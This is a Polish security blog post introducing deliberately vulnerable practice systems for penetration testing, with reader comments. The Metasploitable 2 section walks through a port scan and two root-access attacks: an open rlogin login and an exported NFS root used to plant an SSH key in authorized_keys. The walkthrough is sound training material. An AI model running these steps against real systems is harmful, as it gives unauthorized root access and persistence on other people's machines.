-15% na nową książkę sekuraka: Wprowadzenie do bezpieczeństwa IT. Przy zamówieniu podaj kod: 10000

Trenowanie testów penetracyjnych na żywych systemach

11 lutego 2013, 15:02 | Narzędzia | komentarzy 8

 

Wstęp

W dzisiejszym tekście z cyklu „Narzędzia” zajmiemy się… workami treningowymi. Nie będę oczywiście rozwodził się nad przyborami wykorzystywanymi przez miłośników sportów walki, zamiast tego zajmiemy się systemami stworzonymi specjalnie z myślą o praktycznym trenowaniu testów penetracyjnych.

Wielu początkujących w temacie ofensywnego bezpieczeństwa informatycznego rozpoczyna naukę narzędzi takich jak Metasploit Framework. By takie ćwiczenia miały sens i jednocześnie dawały nam prawdziwe praktyczne doświadczenie, należy jeszcze skorzystać ze wspomnianych worków treningowych.

Zapraszam więc do krótkiego przeglądu rozwiązań, które pozwolą na wygodne i bezpieczne stawianie pierwszych kroków w testach penetracyjnych.

 

21LTR

W przypadku 21LTR scenariusz jest bardzo prosty. Mamy do dyspozycji LiveCD z systemem, który mamy poddać testowi penetracyjnemu na zasadach określonych przez klienta. Jak to zwykle bywa w takich przypadkach, naszym podstawowym zadaniem jest zaraportowanie podatności, które uda się zidentyfikować. W takim razie do dzieła!

 

Lab in a box

Lab in a box został przygotowany przez PenTestlaboratory i ma do zaoferowania całe wirtualne laboratorium składające się zarówno z systemu służącego do przeprowadzania szkoleniowych testów penetracyjnych, jak i z systemów „ofiar”. Całość pozwala na wygodne stawianie pierwszych kroków przyszłym pentesterom.

 

Exploit-Exercises: Nebula, Protostar, Fusion

Exploit-Exercises to bardzo interesujący zbiór maszyn wirtualnych oraz dedykowanych dla nich ćwiczeń z zakresu praktycznego wykorzystywania rozmaitych podatności w systemach operacyjnych oraz przygotowywania własnych exploitów. Będziemy mogli przećwiczyć takie zagadnienia jak: Stack overflow, Heap overflow, Address Space Layout Randomisation, Position Independent Executables, Non-executable Memory, Source Code Fortification (_DFORTIFY_SOURCE=), Stack Smashing Protection (ProPolice / SSP), Timing attacks i inne.

 

Metasploitable 2

Metasploitable to obecnie jeden z najbardziej znanych systemów przeznaczonych do nauki praktycznych testów penetracyjnych. Projekt powstał w firmie Rapid7, czyli zespole odpowiedzialnym za rozwój projektu Metasploit. Metasploitable jest zorientowany przede wszystkim na typowe podatności i błędy konfiguracyjne w systemie operacyjnym oraz w usługach sieciowych. Wszystko to powoduje, że M2 to idealny system do rozpoczęcia bezpiecznej przygody z testami penetracyjnymi. Spójrzmy więc, jak to wygląda w praktyce!

Gdy już zdecydujemy się na praktyczne ćwiczenia z naszym workiem treningowym, możemy zacząć od małego rekonesansu z wykorzystaniem nmapa, przykładowo nmap -p- X.X.X.X. Dla systemu Metasploitable 2 otrzymamy następujące wyniki:

Not shown: 65506 closed ports

PORT      STATE SERVICE

21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
39292/tcp open  unknown
43729/tcp open  unknown
44813/tcp open  unknown
55852/tcp open  unknown

Jak widać, do wyboru mamy sporo usług, a niemal każda z nich pozwoala na zdalne uzyskanie dostępu do systemu.

Do wykorzystania niektórych luk nie będziemy nawet potrzebować żadnych specjalnych narzędzi. Spójrzmy na otwarty port TCP 513. Czyżby administrator korzystał z rloginu? Być może dla własnej wygody zezwolił również na zdalny dostęp dla dowolnego hosta? Sprawdźmy go!

# rlogin -l root X.X.X.X

W wyniku otrzymamy… root@metasploitable:~#

Czasem wystarczy więc tylko tyle, by zdalnie uzyskać pełną kontrolę nad docelowym systemem.

Teraz spójrzmy na Network File System (NFS).

root@ubuntu:~# showmount -e X.X.X.X

Export list for X.X.X.X:

/ *

Ponieważ na docelowym systemie działa SSH, w powyższej sytuacji wystarczy tylko wygenerować klucz SSH i podrzucić go naszej ofierze.

root@ubuntu:~# ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs X.X.X.X:/ /tmp/r00t/
root@ubuntu:~# cat ~/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
root@ubuntu:~# umount /tmp/r00t
root@ubuntu:~# ssh root@X.X.X.X

Efekt? Ten sam co wcześniej, czyli… root@metasploitable:~#

Wniosek jest więc taki, że Metasploitable może zostać zdobyte na wiele sposobów. Mamy tu do dyspozycji jeszcze m.in. słabe hasła, backdoory oraz wiele różnych dziurawych usług sieciowych, dzięki czemu będziemy mogli również w praktyce przećwiczyć wiele modułów składających się na Metasploit Framework.

Z powyższych przykładów widać, że systemy takie jak Metasploitable stanowią nieocenioną pomoc w trakcie konfigurowania laboratoriów dla mniej lub bardziej zaawansowanych pentesterów. Dzięki nim możemy w bezpieczny i wygodny sposób testować rozmaite narzędzia oraz dowolnie rozwijać własne umiejętności.

Jeśli chcecie podzielić się z nami swoimi ulubionymi systemami tego typu, zapraszamy do dyskusji i wymiany doświadczeń.

Wojciech Smol, (wojciech.smol<at>sekurak.pl)

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Bardzo ciekawy wpis dla początkujących nie tylko pentesterow ale również sysadminow, którzy chcą pocwiczyc swoje umiejętności

    Odpowiedz
  2. mirza

    Jak to dobrze że Wojciech wrócił : )

    Odpowiedz
  3. Gio

    Interesujące rzeczy! Proszę o więcej, dużo więcej. Jak jeszcze można dostać się do metasploitable? Takie praktyczne przykłady mógłbym czytać bez końca.

    Odpowiedz
  4. zen

    Działa komuś torrent z laboratorium ?

    Odpowiedz
  5. Czesław

    Pobieram metasploitable i za każdym razem mam inny hash pliku. Dodatkowo pobranego pliku nie mozna rozpakować.

    Najlepiej by było pobrac za pomocą torrenta, ale czy znacie jakieś pewne źródło?

    Odpowiedz
  6. Czesław

    Dzieki za odpowiedz. Tak, ale skontaktowalem sie z programistami z rapid7 i szybko mi odpisali :
    No torrent that I know of, but you can download it direct from Rapid7 here. The downside is it is required registration:

    http://information.rapid7.com/metasploitable-download.html

    Ściągnąłem, przekonwertowałem z vmdk do vhd, niestety pod hyperv (a jest to moj glowny hypervisor) nie dziala siec.

    Po dodaniu w
    nano /etc/initramfs-tools/modules

    hv_vmbus
    hv_blkvscb
    hv_netvsc
    hv_storvsc

    i nastepnie
    update-initramfs -u
    reboot

    System nie startuje.

    Odpowiedz

Odpowiedz na jacek wysocki